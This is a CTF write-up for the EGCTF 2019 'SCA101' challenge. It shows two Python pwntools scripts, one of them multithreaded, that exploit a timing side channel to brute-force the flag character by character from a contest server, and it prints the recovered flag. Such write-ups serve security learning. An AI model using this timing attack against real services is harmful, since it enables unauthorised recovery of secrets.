Contents

EGCTF 2019 - SCA101 Writeup

Approaching the challenge we only get a simple description: nc 167.172.124.190 9002

Analysis

Starting up by fuzzing the server with variable lengths of input, we always got the Bad Flag response but with varying time frames based on the input length then it wasn’t long until we realized that our input is simply compared with the flag on the server and each character takes approximately 1 second.

Initial Approach

We then wrote a simple script to approach the challenge as below

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
import string 

flag = 'EGCTF{'
printable = string.printable
while flag[-1:] != '}':
    for i in printable:
        trial = flag + i
        r = remote('167.172.124.190', 9002, level='error')
        r.sendline(trial)
        res = r.recv(timeout=len(trial))
        if 'Bad' not in res:
            flag += i
            print flag
            break
print 'Flag: ' + flag

but after running the script for a while and our team members finding other flags we deduced that it is most probably sha256 which is 64 bytes so instead of bruteforcing with string.printable we only need the 16 hex bytes and the closing curly bracket but still it will take too long given the long response time of the server.

Multithreading

At that moment we decided to attempt to write a multithreaded script to reduce the time of each trial by 17 times (the bruteforce character domain) which will give us a better shot at getting the flag faster. The problem was none of us tried writing a multithreaded script before but of course familiar with the concept so with a couple of google searches we wrote a new script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from threading import Thread

flag = 'EGCTF{'
keys = {'a':0, 'b':0, 'c':0, 'd':0, 'e':0, 'f':0, '0':0, '1':0, '2':0, '3':0, '4':0, '5':0, '6':0, '7':0, '8':0, '9':0, '}':0}

def checkchar(char):
    trial = flag + char
    r = remote('167.172.124.190', 9002, level='error')
    r.sendline(trial)
    res = r.recv(timeout=len(trial))
    if 'Bad' not in res:
        keys[char] = 1

hexa = '0123456789abcdef}'
while flag[-1:] != '}':
    threads = list()
    print('Current Flag: ' + flag)
    print('Current Hash Offset Trial: ' + str(len(flag) - len('EGCTF{') + 1))
    for i in hexa:
        t = Thread(target=checkchar, args=i)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    counter = 0
        
    # verbose output 
    for i in keys:
        if keys[i]: 
            counter += 1
        print i + ':' + str(keys[i]) + ', ',
    print ''
        
    # detecting false positives or negative result
    if counter != 1:
        print('SERVER ERROR.')
        sleep(1)
        continue

    for k in keys:
        if keys[k]:
            flag += k
            keys[k] = 0
            break

print('Flag: ' + flag)

As expected it was much faster and we got the full flag: EGCTF{73b433927afbca56a9f867df43a78575bfc8fdb839916074c6efcf2de10d4d0a}

Ironically the flag was reduced to 10 bytes instead of 64 after we got it :“D